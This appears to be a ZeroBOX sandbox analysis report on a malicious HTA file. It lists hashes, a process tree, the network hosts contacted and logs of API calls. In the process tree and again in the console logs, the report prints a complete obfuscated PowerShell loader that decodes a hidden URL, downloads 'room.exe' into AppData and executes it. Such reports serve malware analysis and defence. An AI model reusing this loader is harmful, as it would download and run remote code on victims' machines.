popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

rooming.hta

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 May 28, 2024, 9:46 a.m. May 28, 2024, 9:48 a.m.
Size 10.7KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 5f0dd9ef756c02785e681153c17ee786
SHA256 25853e67a62146afb89fc93731d271b0fd767db171e6e1f4ff07109f597ed2e5
CRC32 DD658D81
ssdeep 96:Lcr+fx2QO7pm47Us7VZlGJfo8Pnuw3S7l:LcRtSu
Yara None matched

  • mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\rooming.hta

    2560

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIeo, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){$GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function uytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDbspEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)};return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:AppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKEJzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,47846,47843,47862,47851,47857,47856,47848,47857,47860,47865,47857,47855,47847,47856,47861,47850,47847,47843,47854,47862,47850,47792,47845,47857,47855,47793,47860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;EjoMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;

      2656

Name Response Post-Analysis Lookup
foundationforwomenshealth.com
A 148.251.146.162
148.251.146.162
IP Address Status Action
148.251.146.162 Active Moloch
164.124.101.2 Active Moloch
23.52.33.11 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: SecurityProtocolType" due to invalid enumeration values. Specify one of the fol
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: lowing enumeration values and try again. The possible enumeration values are "S
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: sl3, Tls"."
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:712
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIe
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: o, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $Tru
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: e){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIe
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: o.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: $GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: 833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: :: <<<< SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $G
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: QRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function u
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: ytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDb
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: spEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)}
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: ;return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:A
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: ppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKE
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: Jzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: 860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;Ej
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: oMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : PropertyAssignmentException
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: on was closed: An unexpected error occurred on a send."
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: At line:1 char:815
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: + function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIe
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: o, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $Tru
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: e){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIe
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: o.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){
console_handle: 0x000001f3
1 1 0

WriteConsoleW

 buffer: $GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47
console_handle: 0x000001ff
1 1 0

WriteConsoleW

 buffer: 833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]
console_handle: 0x0000020b
1 1 0

WriteConsoleW

 buffer: ::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVC
console_handle: 0x00000217
1 1 0

WriteConsoleW

 buffer: ycvBAcjMMivqF.DownloadData <<<< ($swQIUCvOyYd);return $gpgwsiJSczSj};function u
console_handle: 0x00000223
1 1 0

WriteConsoleW

 buffer: ytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDb
console_handle: 0x0000022f
1 1 0

WriteConsoleW

 buffer: spEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)}
console_handle: 0x0000023b
1 1 0

WriteConsoleW

 buffer: ;return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:A
console_handle: 0x00000247
1 1 0

WriteConsoleW

 buffer: ppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $
console_handle: 0x00000253
1 1 0

WriteConsoleW

 buffer: qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKE
console_handle: 0x0000025f
1 1 0

WriteConsoleW

 buffer: Jzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,
console_handle: 0x0000026b
1 1 0

WriteConsoleW

 buffer: 860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;Ej
console_handle: 0x0000028f
1 1 0

WriteConsoleW

 buffer: oMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;
console_handle: 0x0000029b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000002a7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000002b3
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059e230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059e070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059e070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059e070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059e930
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059edb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ecf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0059ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2560
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 1835008
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02950000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x717e1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x717e2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02052000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02062000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02063000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02064000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02065000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02066000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020c9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c41000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c42000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c43000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c44000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c45000
